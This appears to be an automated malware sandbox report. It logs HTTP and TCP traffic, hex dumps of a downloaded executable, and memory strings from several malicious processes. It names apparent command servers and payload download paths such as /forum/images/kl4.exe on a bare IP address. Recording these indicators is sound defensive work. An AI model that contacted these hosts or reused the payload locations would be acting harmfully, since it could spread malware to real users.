00 02 00 00 00 64 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 68 65 6d 69 64 61 00 20 4e 00 00 60 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 e0 2e 62 6f 6f 74 00 00 00 00 aa 32 00 00 80 54 00 00 aa 32 00 00 66 04 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 60 f0 9f 87 ae f0 9f 87 b9 d0 08 00 00 00 40 87 00 00 0a 00 00 00 10 37 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 2b 0b 03 00 00 60 87 00 00 0c 03 00 00 1a 37 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 19 Aug 2021 05:53:51 GMTServer: Apache/2.4.6 (CentOS) PHP/5.4.16Last-Modified: Thu, 19 Aug 2021 05:30:01 GMTETag: "50800-5c9e2d7af48e7"Accept-Ranges: bytesContent-Length: 329728Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/octet-streamData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 e4 34 2e 64 85 5a 7d 64 85 5a 7d 64 85 5a 7d 7a d7 cf 7d 75 85 5a 7d 7a d7 d9 7d 0f 85 5a 7d 7a d7 de 7d 53 85 5a 7d 43 43 21 7d 67 85 5a 7d 64 85 5b 7d e9 85 5a 7d 7a d7 d0 7d 65 85 5a 7d 7a d7 ce 7d 65 85 5a 7d 7a d7 cb 7d 65 85 5a 7d 52 69 63 68 64 85 5a 7d 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 ab 78 cc 5e 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 b8 01 00 00 f0 fa 01 00 00 00 00 70 1a 00 00 00 10 00 00 00 d0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 b0 fb 01 00 04 00 00 4d dd 05 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 78 48 02 00 28 00 00 00 00 b0 fa 01 c8 fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 d2 01 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 3f 02 00 40 00 00 00 00 00 00 00 00 00 00 00 00 d0 01 00 f8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 00 b8 01 00 00 10 00 00 00 b8 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 ce 83 00 00 00 d0 01 00 00 84 00 00 00 bc 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 9c 43 f8 01 00 60 02 00 00 ca 01 00 00 40 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 c8 fd 00 00 00 b0 fa 01 00 fe 00 00 00 0a 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0

Source: global traffic	HTTP traffic detected: POST /upload/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://atvcampingtrips.com/upload/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 176Host: atvcampingtrips.com
Source: global traffic	HTTP traffic detected: POST /upload/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://atvcampingtrips.com/upload/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 200Host: atvcampingtrips.com
Source: global traffic	HTTP traffic detected: POST /upload/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://atvcampingtrips.com/upload/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 333Host: atvcampingtrips.com
Source: global traffic	HTTP traffic detected: POST /upload/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://atvcampingtrips.com/upload/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 256Host: atvcampingtrips.com
Source: global traffic	HTTP traffic detected: POST /upload/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://atvcampingtrips.com/upload/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 228Host: atvcampingtrips.com
Source: global traffic	HTTP traffic detected: GET /forum/images/sefile.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 193.142.59.119
Source: global traffic	HTTP traffic detected: POST /upload/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://atvcampingtrips.com/upload/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 336Host: atvcampingtrips.com
Source: global traffic	HTTP traffic detected: POST /upload/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://atvcampingtrips.com/upload/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 166Host: atvcampingtrips.com
Source: global traffic	HTTP traffic detected: POST /upload/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://atvcampingtrips.com/upload/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 285Host: atvcampingtrips.com
Source: global traffic	HTTP traffic detected: POST /upload/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://atvcampingtrips.com/upload/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 215Host: atvcampingtrips.com
Source: global traffic	HTTP traffic detected: POST /upload/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://atvcampingtrips.com/upload/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 337Host: atvcampingtrips.com
Source: global traffic	HTTP traffic detected: POST /upload/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://atvcampingtrips.com/upload/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 156Host: atvcampingtrips.com
Source: global traffic	HTTP traffic detected: POST /upload/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://atvcampingtrips.com/upload/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 231Host: atvcampingtrips.com
Source: global traffic	HTTP traffic detected: POST /upload/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://atvcampingtrips.com/upload/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 322Host: atvcampingtrips.com
Source: global traffic	HTTP traffic detected: POST /upload/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://atvcampingtrips.com/upload/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 300Host: atvcampingtrips.com
Source: global traffic	HTTP traffic detected: POST /upload/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://atvcampingtrips.com/upload/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 207Host: atvcampingtrips.com
Source: global traffic	HTTP traffic detected: POST /upload/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://atvcampingtrips.com/upload/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 348Host: atvcampingtrips.com
Source: global traffic	HTTP traffic detected: GET /forum/images/kl4.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 193.142.59.119
Source: global traffic	HTTP traffic detected: POST /upload/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://atvcampingtrips.com/upload/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 250Host: atvcampingtrips.com
Source: global traffic	HTTP traffic detected: POST /upload/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://atvcampingtrips.com/upload/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 123Host: atvcampingtrips.com
Source: global traffic	HTTP traffic detected: POST /upload/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://atvcampingtrips.com/upload/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 344Host: atvcampingtrips.com
Source: global traffic	HTTP traffic detected: POST /upload/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://atvcampingtrips.com/upload/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 309Host: atvcampingtrips.com
Source: global traffic	HTTP traffic detected: POST /upload/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://atvcampingtrips.com/upload/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 269Host: atvcampingtrips.com
Source: global traffic	HTTP traffic detected: POST /upload/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://atvcampingtrips.com/upload/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 139Host: atvcampingtrips.com
Source: global traffic	HTTP traffic detected: POST /upload/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://atvcampingtrips.com/upload/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 329Host: atvcampingtrips.com
Source: global traffic	HTTP traffic detected: POST /upload/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://atvcampingtrips.com/upload/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 128Host: atvcampingtrips.com
Source: global traffic	HTTP traffic detected: POST /upload/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://atvcampingtrips.com/upload/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 298Host: atvcampingtrips.com
Source: global traffic	HTTP traffic detected: POST /upload/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://atvcampingtrips.com/upload/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 122Host: atvcampingtrips.com
Source: global traffic	HTTP traffic detected: GET /forum/images/sefile2.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 193.142.59.119
Source: global traffic	HTTP traffic detected: POST /upload/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://atvcampingtrips.com/upload/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 306Host: atvcampingtrips.com
Source: global traffic	HTTP traffic detected: POST /upload/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://atvcampingtrips.com/upload/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 219Host: atvcampingtrips.com
Source: global traffic	HTTP traffic detected: POST /upload/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://atvcampingtrips.com/upload/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 247Host: atvcampingtrips.com
Source: global traffic	HTTP traffic detected: POST /upload/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://atvcampingtrips.com/upload/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 113Host: atvcampingtrips.com
Source: global traffic	HTTP traffic detected: POST /upload/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://atvcampingtrips.com/upload/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 266Host: atvcampingtrips.com

Source: global traffic

TCP traffic: 192.168.2.7:49729 -> 185.215.113.29:8889

Source: hnbux.exe, 00000022.00000002.514819186.00000000025C2000.00000004.00000001.sdmp, hnbux.exe, 00000022.00000002.515067062.000000000261E000.00000004.00000001.sdmp, hnbux.exe, 00000022.00000002.514965530.00000000025F7000.00000004.00000001.sdmp	String found in binary or memory: http://185.215.113.206/k8FppT/index.php
Source: hnbux.exe, 00000022.00000002.514819186.00000000025C2000.00000004.00000001.sdmp	String found in binary or memory: http://185.215.113.206/k8FppT/index.php(
Source: hnbux.exe, 00000022.00000002.514819186.00000000025C2000.00000004.00000001.sdmp	String found in binary or memory: http://185.215.113.206/k8FppT/index.php06/k8FppT/index.phpH
Source: hnbux.exe, 00000022.00000002.514819186.00000000025C2000.00000004.00000001.sdmp	String found in binary or memory: http://185.215.113.206/k8FppT/index.php2
Source: hnbux.exe, 00000022.00000002.514819186.00000000025C2000.00000004.00000001.sdmp	String found in binary or memory: http://185.215.113.206/k8FppT/index.php3
Source: hnbux.exe, 00000022.00000002.514819186.00000000025C2000.00000004.00000001.sdmp	String found in binary or memory: http://185.215.113.206/k8FppT/index.php=
Source: hnbux.exe, 00000022.00000002.514819186.00000000025C2000.00000004.00000001.sdmp	String found in binary or memory: http://185.215.113.206/k8FppT/index.php?scr=1
Source: hnbux.exe, 00000022.00000002.522698865.000000000530B000.00000004.00000001.sdmp	String found in binary or memory: http://185.215.113.206/k8FppT/index.php?scr=10
Source: hnbux.exe, 00000022.00000002.514819186.00000000025C2000.00000004.00000001.sdmp	String found in binary or memory: http://185.215.113.206/k8FppT/index.php?scr=1F
Source: hnbux.exe, 00000022.00000002.514965530.00000000025F7000.00000004.00000001.sdmp	String found in binary or memory: http://185.215.113.206/k8FppT/index.php?scr=1Pb
Source: hnbux.exe, 00000022.00000002.514965530.00000000025F7000.00000004.00000001.sdmp	String found in binary or memory: http://185.215.113.206/k8FppT/index.php?scr=1d
Source: hnbux.exe, 00000022.00000002.514819186.00000000025C2000.00000004.00000001.sdmp	String found in binary or memory: http://185.215.113.206/k8FppT/index.php?scr=1e=
Source: hnbux.exe, 00000022.00000002.514819186.00000000025C2000.00000004.00000001.sdmp	String found in binary or memory: http://185.215.113.206/k8FppT/index.php?scr=1l
Source: hnbux.exe, 00000022.00000002.514819186.00000000025C2000.00000004.00000001.sdmp	String found in binary or memory: http://185.215.113.206/k8FppT/index.php?scr=1v
Source: hnbux.exe, 00000022.00000002.514819186.00000000025C2000.00000004.00000001.sdmp	String found in binary or memory: http://185.215.113.206/k8FppT/index.phpR
Source: hnbux.exe, 00000022.00000002.514819186.00000000025C2000.00000004.00000001.sdmp	String found in binary or memory: http://185.215.113.206/k8FppT/index.phpn
Source: 337E.exe, 00000015.00000002.465344976.0000000004571000.00000004.00000001.sdmp	String found in binary or memory: http://185.215.113.29:8889
Source: 337E.exe, 00000015.00000002.465344976.0000000004571000.00000004.00000001.sdmp	String found in binary or memory: http://185.215.113.29:8889/
Source: 337E.exe, 00000015.00000002.468847730.00000000047EB000.00000004.00000001.sdmp	String found in binary or memory: http://185.215.113.29:88894
Source: AEC9.exe, 0000001C.00000002.528188417.0000000003A21000.00000004.00000001.sdmp	String found in binary or memory: http://188.124.36.242:25802/
Source: 337E.exe, 00000015.00000002.470941331.0000000004991000.00000004.00000001.sdmp	String found in binary or memory: http://appldnld.apple.com/QuickTime/041-3089.20111026.Sxpr4/QuickTimeInstaller.exe
Source: 337E.exe, 00000015.00000002.485768892.0000000008080000.00000004.00000001.sdmp	String found in binary or memory: http://cacerts.digicert.com/CloudflareIncRSACA-2.crt0
Source: 337E.exe, 00000015.00000002.485768892.0000000008080000.00000004.00000001.sdmp	String found in binary or memory: http://crl3.digicert.com/CloudflareIncRSACA-2.crl07
Source: 337E.exe, 00000015.00000002.485768892.0000000008080000.00000004.00000001.sdmp	String found in binary or memory: http://crl3.digicert.com/Omniroot2025.crl0m
Source: 337E.exe, 00000015.00000002.485768892.0000000008080000.00000004.00000001.sdmp	String found in binary or memory: http://crl4.digicert.com/CloudflareIncRSACA-2.crl0
Source: 337E.exe, 00000015.00000002.470941331.0000000004991000.00000004.00000001.sdmp	String found in binary or memory: http://download.divx.com/player/divxdotcom/DivXWebPlayerInstaller.exe
Source: explorer.exe, 00000004.00000000.280236892.000000000BE76000.00000002.00000001.sdmp	String found in binary or memory: http://fontfabrik.com
Source: 337E.exe, 00000015.00000002.470941331.0000000004991000.00000004.00000001.sdmp	String found in binary or memory: http://forms.rea
Source: 337E.exe, 00000015.00000002.470941331.0000000004991000.00000004.00000001.sdmp	String found in binary or memory: http://forms.real.com/real/realone/download.html?type=rpsp_us
Source: 337E.exe, 00000015.00000002.470941331.0000000004991000.00000004.00000001.sdmp	String found in binary or memory: http://fpdownload.macromedia.com/get/shockwave/default/english/win95nt/latest/Shockwave_Installer_Sl
Source: 337E.exe, 00000015.00000002.470941331.0000000004991000.00000004.00000001.sdmp	String found in binary or memory: http://go.micros
Source: E6D3.exe, 00000021.00000002.517871157.0000000004DD1000.00000004.00000001.sdmp	String found in binary or memory: http://gophamanapr.site:80/
Source: 337E.exe, 00000015.00000002.485768892.0000000008080000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: 337E.exe, 00000015.00000002.485768892.0000000008080000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.digicert.com0:
Source: 337E.exe, 00000015.00000002.468332848.0000000004764000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.datacontract.org/2004/07/
Source: 337E.exe, 00000015.00000002.465344976.0000000004571000.00000004.00000001.sdmp, AEC9.exe, 0000001C.00000002.528188417.0000000003A21000.00000004.00000001.sdmp, E6D3.exe, 00000021.00000002.517871157.0000000004DD1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/actor/next
Source: 337E.exe, 00000015.00000002.468847730.00000000047EB000.00000004.00000001.sdmp, AEC9.exe, 0000001C.00000002.528188417.0000000003A21000.00000004.00000001.sdmp, E6D3.exe, 00000021.00000002.517871157.0000000004DD1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: 337E.exe, 00000015.00000002.465882710.00000000045BD000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/D
Source: 337E.exe, 00000015.00000002.465344976.0000000004571000.00000004.00000001.sdmp, AEC9.exe, 0000001C.00000002.528188417.0000000003A21000.00000004.00000001.sdmp, E6D3.exe, 00000021.00000002.517871157.0000000004DD1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing
Source: 337E.exe, 00000015.00000002.465344976.0000000004571000.00000004.00000001.sdmp, E6D3.exe, 00000021.00000002.517871157.0000000004DD1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/fault
Source: AEC9.exe, 0000001C.00000002.528188417.0000000003A21000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/faultl
Source: 337E.exe, 00000015.00000002.465344976.0000000004571000.00000004.00000001.sdmp, AEC9.exe, 0000001C.00000002.528188417.0000000003A21000.00000004.00000001.sdmp, E6D3.exe, 00000021.00000002.517871157.0000000004DD1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
Source: 337E.exe, 00000015.00000002.465344976.0000000004571000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: 337E.exe, 00000015.00000002.470941331.0000000004991000.00000004.00000001.sdmp	String found in binary or memory: http://service.r
Source: 337E.exe, 00000015.00000002.470941331.0000000004991000.00000004.00000001.sdmp	String found in binary or memory: http://service.real.com/realplayer/security/02062012_player/en/
Source: 337E.exe, 00000015.00000002.470941331.0000000004991000.00000004.00000001.sdmp	String found in binary or memory: http://support.a
Source: 337E.exe, 00000015.00000002.470941331.0000000004991000.00000004.00000001.sdmp	String found in binary or memory: http://support.apple.com/kb/HT203092
Source: 337E.exe, 00000015.00000002.468847730.00000000047EB000.00000004.00000001.sdmp, AEC9.exe, 0000001C.00000002.528188417.0000000003A21000.00000004.00000001.sdmp, E6D3.exe, 00000021.00000002.517871157.0000000004DD1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/
Source: 337E.exe, 00000015.00000002.465344976.0000000004571000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/0
Source: E6D3.exe, 00000021.00000002.517871157.0000000004DD1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/
Source: 337E.exe, 00000015.00000002.465344976.0000000004571000.00000004.00000001.sdmp, AEC9.exe, 0000001C.00000002.528188417.0000000003A21000.00000004.00000001.sdmp, E6D3.exe, 00000021.00000002.517871157.0000000004DD1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/CheckConnect
Source: 337E.exe, 00000015.00000002.465344976.0000000004571000.00000004.00000001.sdmp, AEC9.exe, 0000001C.00000002.528188417.0000000003A21000.00000004.00000001.sdmp, E6D3.exe, 00000021.00000002.517871157.0000000004DD1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/CheckConnectResponse
Source: 337E.exe, 00000015.00000002.465344976.0000000004571000.00000004.00000001.sdmp, AEC9.exe, 0000001C.00000002.528188417.0000000003A21000.00000004.00000001.sdmp, E6D3.exe, 00000021.00000002.517871157.0000000004DD1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/EnvironmentSettings
Source: 337E.exe, 00000015.00000002.465344976.0000000004571000.00000004.00000001.sdmp, AEC9.exe, 0000001C.00000002.528188417.0000000003A21000.00000004.00000001.sdmp, E6D3.exe, 00000021.00000002.517871157.0000000004DD1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/EnvironmentSettingsResponse
Source: 337E.exe, 00000015.00000002.468847730.00000000047EB000.00000004.00000001.sdmp, 337E.exe, 00000015.00000002.466028526.00000000045E8000.00000004.00000001.sdmp, AEC9.exe, 0000001C.00000002.528188417.0000000003A21000.00000004.00000001.sdmp, E6D3.exe, 00000021.00000002.517871157.0000000004DD1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/GetUpdates
Source: 337E.exe, 00000015.00000002.465344976.0000000004571000.00000004.00000001.sdmp, AEC9.exe, 0000001C.00000002.528188417.0000000003A21000.00000004.00000001.sdmp, E6D3.exe, 00000021.00000002.517871157.0000000004DD1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/GetUpdatesResponse
Source: 337E.exe, 00000015.00000002.468332848.0000000004764000.00000004.00000001.sdmp, AEC9.exe, 0000001C.00000002.528188417.0000000003A21000.00000004.00000001.sdmp, E6D3.exe, 00000021.00000002.517871157.0000000004DD1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/SetEnvironment
Source: 337E.exe, 00000015.00000002.465344976.0000000004571000.00000004.00000001.sdmp, AEC9.exe, 0000001C.00000002.528188417.0000000003A21000.00000004.00000001.sdmp, E6D3.exe, 00000021.00000002.517871157.0000000004DD1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/SetEnvironmentResponse
Source: 337E.exe, 00000015.00000002.465344976.0000000004571000.00000004.00000001.sdmp, AEC9.exe, 0000001C.00000002.528188417.0000000003A21000.00000004.00000001.sdmp, E6D3.exe, 00000021.00000002.517871157.0000000004DD1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/VerifyUpdate
Source: 337E.exe, 00000015.00000002.465344976.0000000004571000.00000004.00000001.sdmp, AEC9.exe, 0000001C.00000002.528188417.0000000003A21000.00000004.00000001.sdmp, E6D3.exe, 00000021.00000002.517871157.0000000004DD1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/VerifyUpdateResponse
Source: 337E.exe, 00000015.00000002.465882710.00000000045BD000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/t_nm
Source: explorer.exe, 00000004.00000000.280236892.000000000BE76000.00000002.00000001.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: explorer.exe, 00000004.00000000.267967386.0000000006870000.00000004.00000001.sdmp	String found in binary or memory: http://www.autoitscript.com/autoit3/J
Source: explorer.exe, 00000004.00000000.280236892.000000000BE76000.00000002.00000001.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: 337E.exe, 00000015.00000002.485768892.0000000008080000.00000004.00000001.sdmp	String found in binary or memory: http://www.digicert.com/CPS0v
Source: explorer.exe, 00000004.00000000.280236892.000000000BE76000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: explorer.exe, 00000004.00000000.280236892.000000000BE76000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: explorer.exe, 00000004.00000000.280236892.000000000BE76000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: explorer.exe, 00000004.00000000.280236892.000000000BE76000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: explorer.exe, 00000004.00000000.280236892.000000000BE76000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-jones.html
